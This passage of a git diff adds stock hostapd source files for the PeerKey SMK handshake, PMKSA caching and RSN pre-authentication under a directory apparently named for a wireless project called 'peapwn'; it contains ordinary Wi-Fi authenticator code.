RSN_KEY_DATA_MAC_ADDR, sm->addr, ETH_ALEN, + NULL, 0); + + /* SMK M2: + * EAPOL-Key(S=1, M=1, A=1, I=0, K=0, SM=1, KeyRSC=0, Nonce=INonce, + * MIC=MIC, DataKDs=(RSNIE_I, MAC_I KDE) + */ + + wpa_auth_logger(wpa_auth, search.sm->addr, LOGGER_DEBUG, + "Sending SMK M2"); + + __wpa_send_eapol(wpa_auth, search.sm, + WPA_KEY_INFO_SECURE | WPA_KEY_INFO_MIC | + WPA_KEY_INFO_ACK | WPA_KEY_INFO_SMK_MESSAGE, + NULL, key->key_nonce, buf, pos - buf, 0, 0, 0); + + os_free(buf); +} + + +static void wpa_send_smk_m4(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, + struct wpa_eapol_key *key, + struct wpa_eapol_ie_parse *kde, + const u8 *smk) +{ + u8 *buf, *pos; + size_t buf_len; + u32 lifetime; + + /* SMK M4: + * EAPOL-Key(S=1, M=1, A=0, I=1, K=0, SM=1, KeyRSC=0, Nonce=PNonce, + * MIC=MIC, DataKDs=(MAC_I KDE, INonce KDE, SMK KDE, + * Lifetime KDE) + */ + + buf_len = 2 + RSN_SELECTOR_LEN + ETH_ALEN + + 2 + RSN_SELECTOR_LEN + WPA_NONCE_LEN + + 2 + RSN_SELECTOR_LEN + PMK_LEN + WPA_NONCE_LEN + + 2 + RSN_SELECTOR_LEN + sizeof(lifetime); + pos = buf = os_malloc(buf_len); + if (buf == NULL) + return; + + /* Initiator MAC Address */ + pos = wpa_add_kde(pos, RSN_KEY_DATA_MAC_ADDR, kde->mac_addr, ETH_ALEN, + NULL, 0); + + /* Initiator Nonce */ + pos = wpa_add_kde(pos, RSN_KEY_DATA_NONCE, kde->nonce, WPA_NONCE_LEN, + NULL, 0); + + /* SMK with PNonce */ + pos = wpa_add_kde(pos, RSN_KEY_DATA_SMK, smk, PMK_LEN, + key->key_nonce, WPA_NONCE_LEN); + + /* Lifetime */ + lifetime = htonl(43200); /* dot11RSNAConfigSMKLifetime */ + pos = wpa_add_kde(pos, RSN_KEY_DATA_LIFETIME, + (u8 *) &lifetime, sizeof(lifetime), NULL, 0); + + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "Sending SMK M4"); + + __wpa_send_eapol(wpa_auth, sm, + WPA_KEY_INFO_SECURE | WPA_KEY_INFO_MIC | + WPA_KEY_INFO_INSTALL | WPA_KEY_INFO_SMK_MESSAGE, + NULL, key->key_nonce, buf, pos - buf, 0, 1, 0); + + os_free(buf); +} + + +static void wpa_send_smk_m5(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, + struct wpa_eapol_key *key, + struct wpa_eapol_ie_parse *kde, + const u8 *smk, const u8 *peer) +{ + u8 *buf, *pos; + size_t buf_len; + u32 lifetime; + + /* SMK M5: + * EAPOL-Key(S=1, M=1, A=0, I=0, K=0, SM=1, KeyRSC=0, Nonce=INonce, + * MIC=MIC, DataKDs=(RSNIE_P, MAC_P KDE, PNonce, SMK KDE, + * Lifetime KDE)) + */ + + buf_len = kde->rsn_ie_len + + 2 + RSN_SELECTOR_LEN + ETH_ALEN + + 2 + RSN_SELECTOR_LEN + WPA_NONCE_LEN + + 2 + RSN_SELECTOR_LEN + PMK_LEN + WPA_NONCE_LEN + + 2 + RSN_SELECTOR_LEN + sizeof(lifetime); + pos = buf = os_malloc(buf_len); + if (buf == NULL) + return; + + /* Peer RSN IE */ + os_memcpy(buf, kde->rsn_ie, kde->rsn_ie_len); + pos = buf + kde->rsn_ie_len; + + /* Peer MAC Address */ + pos = wpa_add_kde(pos, RSN_KEY_DATA_MAC_ADDR, peer, ETH_ALEN, NULL, 0); + + /* PNonce */ + pos = wpa_add_kde(pos, RSN_KEY_DATA_NONCE, key->key_nonce, + WPA_NONCE_LEN, NULL, 0); + + /* SMK and INonce */ + pos = wpa_add_kde(pos, RSN_KEY_DATA_SMK, smk, PMK_LEN, + kde->nonce, WPA_NONCE_LEN); + + /* Lifetime */ + lifetime = htonl(43200); /* dot11RSNAConfigSMKLifetime */ + pos = wpa_add_kde(pos, RSN_KEY_DATA_LIFETIME, + (u8 *) &lifetime, sizeof(lifetime), NULL, 0); + + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "Sending SMK M5"); + + __wpa_send_eapol(wpa_auth, sm, + WPA_KEY_INFO_SECURE | WPA_KEY_INFO_MIC | + WPA_KEY_INFO_SMK_MESSAGE, + NULL, kde->nonce, buf, pos - buf, 0, 1, 0); + + os_free(buf); +} + + +void wpa_smk_m3(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, struct wpa_eapol_key *key) +{ + struct wpa_eapol_ie_parse kde; + struct wpa_stsl_search search; + u8 smk[32], buf[ETH_ALEN + 8 + 2 * WPA_NONCE_LEN], *pos; + + if (wpa_parse_kde_ies((const u8 *) (key + 1), + WPA_GET_BE16(key->key_data_length), &kde) < 0) { + wpa_printf(MSG_INFO, "RSN: Failed to parse KDEs in SMK M3"); + return; + } + + if (kde.rsn_ie == NULL || + kde.mac_addr == NULL || kde.mac_addr_len < ETH_ALEN || + kde.nonce == NULL || kde.nonce_len < WPA_NONCE_LEN) { + wpa_printf(MSG_INFO, "RSN: No RSN IE, MAC address KDE, or " + "Nonce KDE in SMK M3"); + return; + } + + /* Peer = sm->addr; Initiator = kde.mac_addr; + * Peer Nonce = key->key_nonce; Initiator Nonce = kde.nonce */ + + search.addr = kde.mac_addr; + search.sm = NULL; + if (wpa_auth_for_each_sta(wpa_auth, wpa_stsl_select_sta, &search) == + 0 || search.sm == NULL) { + wpa_printf(MSG_DEBUG, "RSN: SMK handshake with " MACSTR + " aborted - STA not associated anymore", + MAC2STR(kde.mac_addr)); + wpa_smk_send_error(wpa_auth, sm, kde.mac_addr, STK_MUI_SMK, + STK_ERR_STA_NR); + /* FIX: wpa_stsl_remove(wpa_auth, neg); */ + return; + } + + if (random_get_bytes(smk, PMK_LEN)) { + wpa_printf(MSG_DEBUG, "RSN: Failed to generate SMK"); + return; + } + + /* SMK = PRF-256(Random number, "SMK Derivation", + * AA || Time || INonce || PNonce) + */ + os_memcpy(buf, wpa_auth->addr, ETH_ALEN); + pos = buf + ETH_ALEN; + wpa_get_ntp_timestamp(pos); + pos += 8; + os_memcpy(pos, kde.nonce, WPA_NONCE_LEN); + pos += WPA_NONCE_LEN; + os_memcpy(pos, key->key_nonce, WPA_NONCE_LEN); +#ifdef CONFIG_IEEE80211W + sha256_prf(smk, PMK_LEN, "SMK Derivation", buf, sizeof(buf), + smk, PMK_LEN); +#else /* CONFIG_IEEE80211W */ + sha1_prf(smk, PMK_LEN, "SMK Derivation", buf, sizeof(buf), + smk, PMK_LEN); +#endif /* CONFIG_IEEE80211W */ + + wpa_hexdump_key(MSG_DEBUG, "RSN: SMK", smk, PMK_LEN); + + wpa_send_smk_m4(wpa_auth, sm, key, &kde, smk); + wpa_send_smk_m5(wpa_auth, search.sm, key, &kde, smk, sm->addr); + + /* Authenticator does not need SMK anymore and it is required to forget + * it. */ + os_memset(smk, 0, sizeof(*smk)); +} + + +void wpa_smk_error(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, struct wpa_eapol_key *key) +{ + struct wpa_eapol_ie_parse kde; + struct wpa_stsl_search search; + struct rsn_error_kde error; + u16 mui, error_type; + + if (wpa_parse_kde_ies((const u8 *) (key + 1), + WPA_GET_BE16(key->key_data_length), &kde) < 0) { + wpa_printf(MSG_INFO, "RSN: Failed to parse KDEs in SMK Error"); + return; + } + + if (kde.mac_addr == NULL || kde.mac_addr_len < ETH_ALEN || + kde.error == NULL || kde.error_len < sizeof(error)) { + wpa_printf(MSG_INFO, "RSN: No MAC address or Error KDE in " + "SMK Error"); + return; + } + + search.addr = kde.mac_addr; + search.sm = NULL; + if (wpa_auth_for_each_sta(wpa_auth, wpa_stsl_select_sta, &search) == + 0 || search.sm == NULL) { + wpa_printf(MSG_DEBUG, "RSN: Peer STA " MACSTR " not " + "associated for SMK Error message from " MACSTR, + MAC2STR(kde.mac_addr), MAC2STR(sm->addr)); + return; + } + + os_memcpy(&error, kde.error, sizeof(error)); + mui = be_to_host16(error.mui); + error_type = be_to_host16(error.error_type); + wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_INFO, + "STA reported SMK Error: Peer " MACSTR + " MUI %d Error Type %d", + MAC2STR(kde.mac_addr), mui, error_type); + + wpa_smk_send_error(wpa_auth, search.sm, sm->addr, mui, error_type); +} + + +int wpa_stsl_remove(struct wpa_authenticator *wpa_auth, + struct wpa_stsl_negotiation *neg) +{ + struct wpa_stsl_negotiation *pos, *prev; + + if (wpa_auth == NULL) + return -1; + pos = wpa_auth->stsl_negotiations; + prev = NULL; + while (pos) { + if (pos == neg) { + if (prev) + prev->next = pos->next; + else + wpa_auth->stsl_negotiations = pos->next; + + eloop_cancel_timeout(wpa_stsl_step, wpa_auth, pos); + os_free(pos); + return 0; + } + prev = pos; + pos = pos->next; + } + + return -1; +} + +#endif /* CONFIG_PEERKEY */ diff --git a/peapwn/mods/hostap/src/ap/pmksa_cache_auth.c b/peapwn/mods/hostap/src/ap/pmksa_cache_auth.c new file mode 100644 index 000000000..40972e9a0 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/pmksa_cache_auth.c @@ -0,0 +1,430 @@ +/* + * hostapd - PMKSA cache for IEEE 802.11i RSN + * Copyright (c) 2004-2008, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "eapol_auth/eapol_auth_sm.h" +#include "eapol_auth/eapol_auth_sm_i.h" +#include "sta_info.h" +#include "ap_config.h" +#include "pmksa_cache_auth.h" + + +static const int pmksa_cache_max_entries = 1024; +static const int dot11RSNAConfigPMKLifetime = 43200; + +struct rsn_pmksa_cache { +#define PMKID_HASH_SIZE 128 +#define PMKID_HASH(pmkid) (unsigned int) ((pmkid)[0] & 0x7f) + struct rsn_pmksa_cache_entry *pmkid[PMKID_HASH_SIZE]; + struct rsn_pmksa_cache_entry *pmksa; + int pmksa_count; + + void (*free_cb)(struct rsn_pmksa_cache_entry *entry, void *ctx); + void *ctx; +}; + + +static void pmksa_cache_set_expiration(struct rsn_pmksa_cache *pmksa); + + +static void _pmksa_cache_free_entry(struct rsn_pmksa_cache_entry *entry) +{ + if (entry == NULL) + return; + os_free(entry->identity); + wpabuf_free(entry->cui); +#ifndef CONFIG_NO_RADIUS + radius_free_class(&entry->radius_class); +#endif /* CONFIG_NO_RADIUS */ + os_free(entry); +} + + +void pmksa_cache_free_entry(struct rsn_pmksa_cache *pmksa, + struct rsn_pmksa_cache_entry *entry) +{ + struct rsn_pmksa_cache_entry *pos, *prev; + + pmksa->pmksa_count--; + pmksa->free_cb(entry, pmksa->ctx); + pos = pmksa->pmkid[PMKID_HASH(entry->pmkid)]; + prev = NULL; + while (pos) { + if (pos == entry) { + if (prev != NULL) { + prev->hnext = pos->hnext; + } else { + pmksa->pmkid[PMKID_HASH(entry->pmkid)] = + pos->hnext; + } + break; + } + prev = pos; + pos = pos->hnext; + } + + pos = pmksa->pmksa; + prev = NULL; + while (pos) { + if (pos == entry) { + if (prev != NULL) + prev->next = pos->next; + else + pmksa->pmksa = pos->next; + break; + } + prev = pos; + pos = pos->next; + } + _pmksa_cache_free_entry(entry); +} + + +static void pmksa_cache_expire(void *eloop_ctx, void *timeout_ctx) +{ + struct rsn_pmksa_cache *pmksa = eloop_ctx; + struct os_time now; + + os_get_time(&now); + while (pmksa->pmksa && pmksa->pmksa->expiration <= now.sec) { + wpa_printf(MSG_DEBUG, "RSN: expired PMKSA cache entry for " + MACSTR, MAC2STR(pmksa->pmksa->spa)); + pmksa_cache_free_entry(pmksa, pmksa->pmksa); + } + + pmksa_cache_set_expiration(pmksa); +} + + +static void pmksa_cache_set_expiration(struct rsn_pmksa_cache *pmksa) +{ + int sec; + struct os_time now; + + eloop_cancel_timeout(pmksa_cache_expire, pmksa, NULL); + if (pmksa->pmksa == NULL) + return; + os_get_time(&now); + sec = pmksa->pmksa->expiration - now.sec; + if (sec < 0) + sec = 0; + eloop_register_timeout(sec + 1, 0, pmksa_cache_expire, pmksa, NULL); +} + + +static void pmksa_cache_from_eapol_data(struct rsn_pmksa_cache_entry *entry, + struct eapol_state_machine *eapol) +{ + if (eapol == NULL) + return; + + if (eapol->identity) { + entry->identity = os_malloc(eapol->identity_len); + if (entry->identity) { + entry->identity_len = eapol->identity_len; + os_memcpy(entry->identity, eapol->identity, + eapol->identity_len); + } + } + + if (eapol->radius_cui) + entry->cui = wpabuf_dup(eapol->radius_cui); + +#ifndef CONFIG_NO_RADIUS + radius_copy_class(&entry->radius_class, &eapol->radius_class); +#endif /* CONFIG_NO_RADIUS */ + + entry->eap_type_authsrv = eapol->eap_type_authsrv; + entry->vlan_id = ((struct sta_info *) eapol->sta)->vlan_id; +} + + +void pmksa_cache_to_eapol_data(struct rsn_pmksa_cache_entry *entry, + struct eapol_state_machine *eapol) +{ + if (entry == NULL || eapol == NULL) + return; + + if (entry->identity) { + os_free(eapol->identity); + eapol->identity = os_malloc(entry->identity_len); + if (eapol->identity) { + eapol->identity_len = entry->identity_len; + os_memcpy(eapol->identity, entry->identity, + entry->identity_len); + } + wpa_hexdump_ascii(MSG_DEBUG, "STA identity from PMKSA", + eapol->identity, eapol->identity_len); + } + + if (entry->cui) { + wpabuf_free(eapol->radius_cui); + eapol->radius_cui = wpabuf_dup(entry->cui); + } + +#ifndef CONFIG_NO_RADIUS + radius_free_class(&eapol->radius_class); + radius_copy_class(&eapol->radius_class, &entry->radius_class); +#endif /* CONFIG_NO_RADIUS */ + if (eapol->radius_class.attr) { + wpa_printf(MSG_DEBUG, "Copied %lu Class attribute(s) from " + "PMKSA", (unsigned long) eapol->radius_class.count); + } + + eapol->eap_type_authsrv = entry->eap_type_authsrv; + ((struct sta_info *) eapol->sta)->vlan_id = entry->vlan_id; +} + + +static void pmksa_cache_link_entry(struct rsn_pmksa_cache *pmksa, + struct rsn_pmksa_cache_entry *entry) +{ + struct rsn_pmksa_cache_entry *pos, *prev; + + /* Add the new entry; order by expiration time */ + pos = pmksa->pmksa; + prev = NULL; + while (pos) { + if (pos->expiration > entry->expiration) + break; + prev = pos; + pos = pos->next; + } + if (prev == NULL) { + entry->next = pmksa->pmksa; + pmksa->pmksa = entry; + } else { + entry->next = prev->next; + prev->next = entry; + } + entry->hnext = pmksa->pmkid[PMKID_HASH(entry->pmkid)]; + pmksa->pmkid[PMKID_HASH(entry->pmkid)] = entry; + + pmksa->pmksa_count++; + if (prev == NULL) + pmksa_cache_set_expiration(pmksa); + wpa_printf(MSG_DEBUG, "RSN: added PMKSA cache entry for " MACSTR, + MAC2STR(entry->spa)); + wpa_hexdump(MSG_DEBUG, "RSN: added PMKID", entry->pmkid, PMKID_LEN); +} + + +/** + * pmksa_cache_auth_add - Add a PMKSA cache entry + * @pmksa: Pointer to PMKSA cache data from pmksa_cache_auth_init() + * @pmk: The new pairwise master key + * @pmk_len: PMK length in bytes, usually PMK_LEN (32) + * @aa: Authenticator address + * @spa: Supplicant address + * @session_timeout: Session timeout + * @eapol: Pointer to EAPOL state machine data + * @akmp: WPA_KEY_MGMT_* used in key derivation + * Returns: Pointer to the added PMKSA cache entry or %NULL on error + * + * This function create a PMKSA entry for a new PMK and adds it to the PMKSA + * cache. If an old entry is already in the cache for the same Supplicant, + * this entry will be replaced with the new entry. PMKID will be calculated + * based on the PMK. + */ +struct rsn_pmksa_cache_entry * +pmksa_cache_auth_add(struct rsn_pmksa_cache *pmksa, + const u8 *pmk, size_t pmk_len, + const u8 *aa, const u8 *spa, int session_timeout, + struct eapol_state_machine *eapol, int akmp) +{ + struct rsn_pmksa_cache_entry *entry, *pos; + struct os_time now; + + if (pmk_len > PMK_LEN) + return NULL; + + entry = os_zalloc(sizeof(*entry)); + if (entry == NULL) + return NULL; + os_memcpy(entry->pmk, pmk, pmk_len); + entry->pmk_len = pmk_len; + rsn_pmkid(pmk, pmk_len, aa, spa, entry->pmkid, + wpa_key_mgmt_sha256(akmp)); + os_get_time(&now); + entry->expiration = now.sec; + if (session_timeout > 0) + entry->expiration += session_timeout; + else + entry->expiration += dot11RSNAConfigPMKLifetime; + entry->akmp = akmp; + os_memcpy(entry->spa, spa, ETH_ALEN); + pmksa_cache_from_eapol_data(entry, eapol); + + /* Replace an old entry for the same STA (if found) with the new entry + */ + pos = pmksa_cache_auth_get(pmksa, spa, NULL); + if (pos) + pmksa_cache_free_entry(pmksa, pos); + + if (pmksa->pmksa_count >= pmksa_cache_max_entries && pmksa->pmksa) { + /* Remove the oldest entry to make room for the new entry */ + wpa_printf(MSG_DEBUG, "RSN: removed the oldest PMKSA cache " + "entry (for " MACSTR ") to make room for new one", + MAC2STR(pmksa->pmksa->spa)); + pmksa_cache_free_entry(pmksa, pmksa->pmksa); + } + + pmksa_cache_link_entry(pmksa, entry); + + return entry; +} + + +struct rsn_pmksa_cache_entry * +pmksa_cache_add_okc(struct rsn_pmksa_cache *pmksa, + const struct rsn_pmksa_cache_entry *old_entry, + const u8 *aa, const u8 *pmkid) +{ + struct rsn_pmksa_cache_entry *entry; + + entry = os_zalloc(sizeof(*entry)); + if (entry == NULL) + return NULL; + os_memcpy(entry->pmkid, pmkid, PMKID_LEN); + os_memcpy(entry->pmk, old_entry->pmk, old_entry->pmk_len); + entry->pmk_len = old_entry->pmk_len; + entry->expiration = old_entry->expiration; + entry->akmp = old_entry->akmp; + os_memcpy(entry->spa, old_entry->spa, ETH_ALEN); + entry->opportunistic = 1; + if (old_entry->identity) { + entry->identity = os_malloc(old_entry->identity_len); + if (entry->identity) { + entry->identity_len = old_entry->identity_len; + os_memcpy(entry->identity, old_entry->identity, + old_entry->identity_len); + } + } + if (old_entry->cui) + entry->cui = wpabuf_dup(old_entry->cui); +#ifndef CONFIG_NO_RADIUS + radius_copy_class(&entry->radius_class, &old_entry->radius_class); +#endif /* CONFIG_NO_RADIUS */ + entry->eap_type_authsrv = old_entry->eap_type_authsrv; + entry->vlan_id = old_entry->vlan_id; + entry->opportunistic = 1; + + pmksa_cache_link_entry(pmksa, entry); + + return entry; +} + + +/** + * pmksa_cache_auth_deinit - Free all entries in PMKSA cache + * @pmksa: Pointer to PMKSA cache data from pmksa_cache_auth_init() + */ +void pmksa_cache_auth_deinit(struct rsn_pmksa_cache *pmksa) +{ + struct rsn_pmksa_cache_entry *entry, *prev; + int i; + + if (pmksa == NULL) + return; + + entry = pmksa->pmksa; + while (entry) { + prev = entry; + entry = entry->next; + _pmksa_cache_free_entry(prev); + } + eloop_cancel_timeout(pmksa_cache_expire, pmksa, NULL); + for (i = 0; i < PMKID_HASH_SIZE; i++) + pmksa->pmkid[i] = NULL; + os_free(pmksa); +} + + +/** + * pmksa_cache_auth_get - Fetch a PMKSA cache entry + * @pmksa: Pointer to PMKSA cache data from pmksa_cache_auth_init() + * @spa: Supplicant address or %NULL to match any + * @pmkid: PMKID or %NULL to match any + * Returns: Pointer to PMKSA cache entry or %NULL if no match was found + */ +struct rsn_pmksa_cache_entry * +pmksa_cache_auth_get(struct rsn_pmksa_cache *pmksa, + const u8 *spa, const u8 *pmkid) +{ + struct rsn_pmksa_cache_entry *entry; + + if (pmkid) + entry = pmksa->pmkid[PMKID_HASH(pmkid)]; + else + entry = pmksa->pmksa; + while (entry) { + if ((spa == NULL || + os_memcmp(entry->spa, spa, ETH_ALEN) == 0) && + (pmkid == NULL || + os_memcmp(entry->pmkid, pmkid, PMKID_LEN) == 0)) + return entry; + entry = pmkid ? entry->hnext : entry->next; + } + return NULL; +} + + +/** + * pmksa_cache_get_okc - Fetch a PMKSA cache entry using OKC + * @pmksa: Pointer to PMKSA cache data from pmksa_cache_auth_init() + * @aa: Authenticator address + * @spa: Supplicant address + * @pmkid: PMKID + * Returns: Pointer to PMKSA cache entry or %NULL if no match was found + * + * Use opportunistic key caching (OKC) to find a PMK for a supplicant. + */ +struct rsn_pmksa_cache_entry * pmksa_cache_get_okc( + struct rsn_pmksa_cache *pmksa, const u8 *aa, const u8 *spa, + const u8 *pmkid) +{ + struct rsn_pmksa_cache_entry *entry; + u8 new_pmkid[PMKID_LEN]; + + entry = pmksa->pmksa; + while (entry) { + if (os_memcmp(entry->spa, spa, ETH_ALEN) != 0) + continue; + rsn_pmkid(entry->pmk, entry->pmk_len, aa, spa, new_pmkid, + wpa_key_mgmt_sha256(entry->akmp)); + if (os_memcmp(new_pmkid, pmkid, PMKID_LEN) == 0) + return entry; + entry = entry->next; + } + return NULL; +} + + +/** + * pmksa_cache_auth_init - Initialize PMKSA cache + * @free_cb: Callback function to be called when a PMKSA cache entry is freed + * @ctx: Context pointer for free_cb function + * Returns: Pointer to PMKSA cache data or %NULL on failure + */ +struct rsn_pmksa_cache * +pmksa_cache_auth_init(void (*free_cb)(struct rsn_pmksa_cache_entry *entry, + void *ctx), void *ctx) +{ + struct rsn_pmksa_cache *pmksa; + + pmksa = os_zalloc(sizeof(*pmksa)); + if (pmksa) { + pmksa->free_cb = free_cb; + pmksa->ctx = ctx; + } + + return pmksa; +} diff --git a/peapwn/mods/hostap/src/ap/pmksa_cache_auth.h b/peapwn/mods/hostap/src/ap/pmksa_cache_auth.h new file mode 100644 index 000000000..aa90024d7 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/pmksa_cache_auth.h @@ -0,0 +1,61 @@ +/* + * hostapd - PMKSA cache for IEEE 802.11i RSN + * Copyright (c) 2004-2008, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef PMKSA_CACHE_H +#define PMKSA_CACHE_H + +#include "radius/radius.h" + +/** + * struct rsn_pmksa_cache_entry - PMKSA cache entry + */ +struct rsn_pmksa_cache_entry { + struct rsn_pmksa_cache_entry *next, *hnext; + u8 pmkid[PMKID_LEN]; + u8 pmk[PMK_LEN]; + size_t pmk_len; + os_time_t expiration; + int akmp; /* WPA_KEY_MGMT_* */ + u8 spa[ETH_ALEN]; + + u8 *identity; + size_t identity_len; + struct wpabuf *cui; + struct radius_class_data radius_class; + u8 eap_type_authsrv; + int vlan_id; + int opportunistic; +}; + +struct rsn_pmksa_cache; + +struct rsn_pmksa_cache * +pmksa_cache_auth_init(void (*free_cb)(struct rsn_pmksa_cache_entry *entry, + void *ctx), void *ctx); +void pmksa_cache_auth_deinit(struct rsn_pmksa_cache *pmksa); +struct rsn_pmksa_cache_entry * +pmksa_cache_auth_get(struct rsn_pmksa_cache *pmksa, + const u8 *spa, const u8 *pmkid); +struct rsn_pmksa_cache_entry * pmksa_cache_get_okc( + struct rsn_pmksa_cache *pmksa, const u8 *spa, const u8 *aa, + const u8 *pmkid); +struct rsn_pmksa_cache_entry * +pmksa_cache_auth_add(struct rsn_pmksa_cache *pmksa, + const u8 *pmk, size_t pmk_len, + const u8 *aa, const u8 *spa, int session_timeout, + struct eapol_state_machine *eapol, int akmp); +struct rsn_pmksa_cache_entry * +pmksa_cache_add_okc(struct rsn_pmksa_cache *pmksa, + const struct rsn_pmksa_cache_entry *old_entry, + const u8 *aa, const u8 *pmkid); +void pmksa_cache_to_eapol_data(struct rsn_pmksa_cache_entry *entry, + struct eapol_state_machine *eapol); +void pmksa_cache_free_entry(struct rsn_pmksa_cache *pmksa, + struct rsn_pmksa_cache_entry *entry); + +#endif /* PMKSA_CACHE_H */ diff --git a/peapwn/mods/hostap/src/ap/preauth_auth.c b/peapwn/mods/hostap/src/ap/preauth_auth.c new file mode 100644 index 000000000..3e0c8000d --- /dev/null +++ b/peapwn/mods/hostap/src/ap/preauth_auth.c @@ -0,0 +1,273 @@ +/* + * hostapd - Authenticator for IEEE 802.11i RSN pre-authentication + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#ifdef CONFIG_RSN_PREAUTH + +#include "utils/common.h" +#include "utils/eloop.h" +#include "l2_packet/l2_packet.h" +#include "common/wpa_common.h" +#include "eapol_auth/eapol_auth_sm.h" +#include "eapol_auth/eapol_auth_sm_i.h" +#include "hostapd.h" +#include "ap_config.h" +#include "ieee802_1x.h" +#include "sta_info.h" +#include "wpa_auth.h" +#include "preauth_auth.h" + +#ifndef ETH_P_PREAUTH +#define ETH_P_PREAUTH 0x88C7 /* IEEE 802.11i pre-authentication */ +#endif /* ETH_P_PREAUTH */ + +static const int dot11RSNAConfigPMKLifetime = 43200; + +struct rsn_preauth_interface { + struct rsn_preauth_interface *next; + struct hostapd_data *hapd; + struct l2_packet_data *l2; + char *ifname; + int ifindex; +}; + + +static void rsn_preauth_receive(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len) +{ + struct rsn_preauth_interface *piface = ctx; + struct hostapd_data *hapd = piface->hapd; + struct ieee802_1x_hdr *hdr; + struct sta_info *sta; + struct l2_ethhdr *ethhdr; + + wpa_printf(MSG_DEBUG, "RSN: receive pre-auth packet " + "from interface '%s'", piface->ifname); + if (len < sizeof(*ethhdr) + sizeof(*hdr)) { + wpa_printf(MSG_DEBUG, "RSN: too short pre-auth packet " + "(len=%lu)", (unsigned long) len); + return; + } + + ethhdr = (struct l2_ethhdr *) buf; + hdr = (struct ieee802_1x_hdr *) (ethhdr + 1); + + if (os_memcmp(ethhdr->h_dest, hapd->own_addr, ETH_ALEN) != 0) { + wpa_printf(MSG_DEBUG, "RSN: pre-auth for foreign address " + MACSTR, MAC2STR(ethhdr->h_dest)); + return; + } + + sta = ap_get_sta(hapd, ethhdr->h_source); + if (sta && (sta->flags & WLAN_STA_ASSOC)) { + wpa_printf(MSG_DEBUG, "RSN: pre-auth for already association " + "STA " MACSTR, MAC2STR(sta->addr)); + return; + } + if (!sta && hdr->type == IEEE802_1X_TYPE_EAPOL_START) { + sta = ap_sta_add(hapd, ethhdr->h_source); + if (sta == NULL) + return; + sta->flags = WLAN_STA_PREAUTH; + + ieee802_1x_new_station(hapd, sta); + if (sta->eapol_sm == NULL) { + ap_free_sta(hapd, sta); + sta = NULL; + } else { + sta->eapol_sm->radius_identifier = -1; + sta->eapol_sm->portValid = TRUE; + sta->eapol_sm->flags |= EAPOL_SM_PREAUTH; + } + } + if (sta == NULL) + return; + sta->preauth_iface = piface; + ieee802_1x_receive(hapd, ethhdr->h_source, (u8 *) (ethhdr + 1), + len - sizeof(*ethhdr)); +} + + +static int rsn_preauth_iface_add(struct hostapd_data *hapd, const char *ifname) +{ + struct rsn_preauth_interface *piface; + + wpa_printf(MSG_DEBUG, "RSN pre-auth interface '%s'", ifname); + + piface = os_zalloc(sizeof(*piface)); + if (piface == NULL) + return -1; + piface->hapd = hapd; + + piface->ifname = os_strdup(ifname); + if (piface->ifname == NULL) { + goto fail1; + } + + piface->l2 = l2_packet_init(piface->ifname, NULL, ETH_P_PREAUTH, + rsn_preauth_receive, piface, 1); + if (piface->l2 == NULL) { + wpa_printf(MSG_ERROR, "Failed to open register layer 2 access " + "to ETH_P_PREAUTH"); + goto fail2; + } + + piface->next = hapd->preauth_iface; + hapd->preauth_iface = piface; + return 0; + +fail2: + os_free(piface->ifname); +fail1: + os_free(piface); + return -1; +} + + +void rsn_preauth_iface_deinit(struct hostapd_data *hapd) +{ + struct rsn_preauth_interface *piface, *prev; + + piface = hapd->preauth_iface; + hapd->preauth_iface = NULL; + while (piface) { + prev = piface; + piface = piface->next; + l2_packet_deinit(prev->l2); + os_free(prev->ifname); + os_free(prev); + } +} + + +int rsn_preauth_iface_init(struct hostapd_data *hapd) +{ + char *tmp, *start, *end; + + if (hapd->conf->rsn_preauth_interfaces == NULL) + return 0; + + tmp = os_strdup(hapd->conf->rsn_preauth_interfaces); + if (tmp == NULL) + return -1; + start = tmp; + for (;;) { + while (*start == ' ') + start++; + if (*start == '\0') + break; + end = os_strchr(start, ' '); + if (end) + *end = '\0'; + + if (rsn_preauth_iface_add(hapd, start)) { + rsn_preauth_iface_deinit(hapd); + os_free(tmp); + return -1; + } + + if (end) + start = end + 1; + else + break; + } + os_free(tmp); + return 0; +} + + +static void rsn_preauth_finished_cb(void *eloop_ctx, void *timeout_ctx) +{ + struct hostapd_data *hapd = eloop_ctx; + struct sta_info *sta = timeout_ctx; + wpa_printf(MSG_DEBUG, "RSN: Removing pre-authentication STA entry for " + MACSTR, MAC2STR(sta->addr)); + ap_free_sta(hapd, sta); +} + + +void rsn_preauth_finished(struct hostapd_data *hapd, struct sta_info *sta, + int success) +{ + const u8 *key; + size_t len; + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_WPA, + HOSTAPD_LEVEL_INFO, "pre-authentication %s", + success ? "succeeded" : "failed"); + + key = ieee802_1x_get_key(sta->eapol_sm, &len); + if (len > PMK_LEN) + len = PMK_LEN; + if (success && key) { + if (wpa_auth_pmksa_add_preauth(hapd->wpa_auth, key, len, + sta->addr, + dot11RSNAConfigPMKLifetime, + sta->eapol_sm) == 0) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_WPA, + HOSTAPD_LEVEL_DEBUG, + "added PMKSA cache entry (pre-auth)"); + } else { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_WPA, + HOSTAPD_LEVEL_DEBUG, + "failed to add PMKSA cache entry " + "(pre-auth)"); + } + } + + /* + * Finish STA entry removal from timeout in order to avoid freeing + * STA data before the caller has finished processing. + */ + eloop_register_timeout(0, 0, rsn_preauth_finished_cb, hapd, sta); +} + + +void rsn_preauth_send(struct hostapd_data *hapd, struct sta_info *sta, + u8 *buf, size_t len) +{ + struct rsn_preauth_interface *piface; + struct l2_ethhdr *ethhdr; + + piface = hapd->preauth_iface; + 